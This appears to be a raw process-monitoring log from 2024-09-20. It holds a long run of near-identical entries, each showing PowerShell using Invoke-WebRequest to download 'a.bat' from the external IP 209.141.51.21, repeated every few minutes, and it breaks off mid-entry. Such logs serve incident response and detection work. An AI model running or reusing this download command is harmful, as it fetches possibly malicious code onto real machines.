C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:11:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:13:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:16:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:18:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:21:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:23:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:26:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:28:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:31:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:33:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:36:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:38:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:41:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:43:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:46:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:48:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:51:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:54:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:56:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 00:59:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:01:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:04:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:06:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:09:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:11:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:14:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:16:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:19:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:21:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:24:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:26:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:29:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:31:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:34:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:36:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:39:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:42:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:44:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:47:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:49:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:52:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:54:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:57:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 01:59:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:02:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:04:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:07:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:09:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:12:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:14:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:17:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:19:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:22:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:25:01 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:27:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:30:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:32:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:35:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:37:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:40:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:42:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:45:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:47:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:50:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:52:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:55:22 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 02:57:54 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:00:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:02:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:05:29 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:08:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:10:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:13:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:15:35 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:18:07 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:20:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:23:10 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:25:42 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:28:14 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:30:46 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:33:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:35:49 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:38:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:40:52 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:43:24 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:45:56 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:48:27 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:50:59 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:53:31 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:56:03 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 03:58:34 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:01:06 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:03:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:06:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:08:41 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:11:13 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:13:44 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:16:16 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:18:48 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:21:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:23:51 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:26:23 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:28:55 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:31:26 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:33:58 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:36:30 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:39:02 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:41:33 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:44:05 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:46:37 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:49:09 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:51:40 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:54:12 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:56:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 04:59:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:01:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:04:19 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:06:50 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:09:21 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:11:53 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:14:25 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:16:57 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:19:28 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:22:00 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:24:32 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:27:04 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:29:36 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:32:08 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:34:39 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:37:11 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:39:43 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:42:15 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:44:47 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:47:18 NOTIFY: PROCESS C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri 'http://209.141.51.21/a.bat' -OutFile 'a.bat'" (null) 2024-09-20 05:49:51 NOTIFY: PROCESS 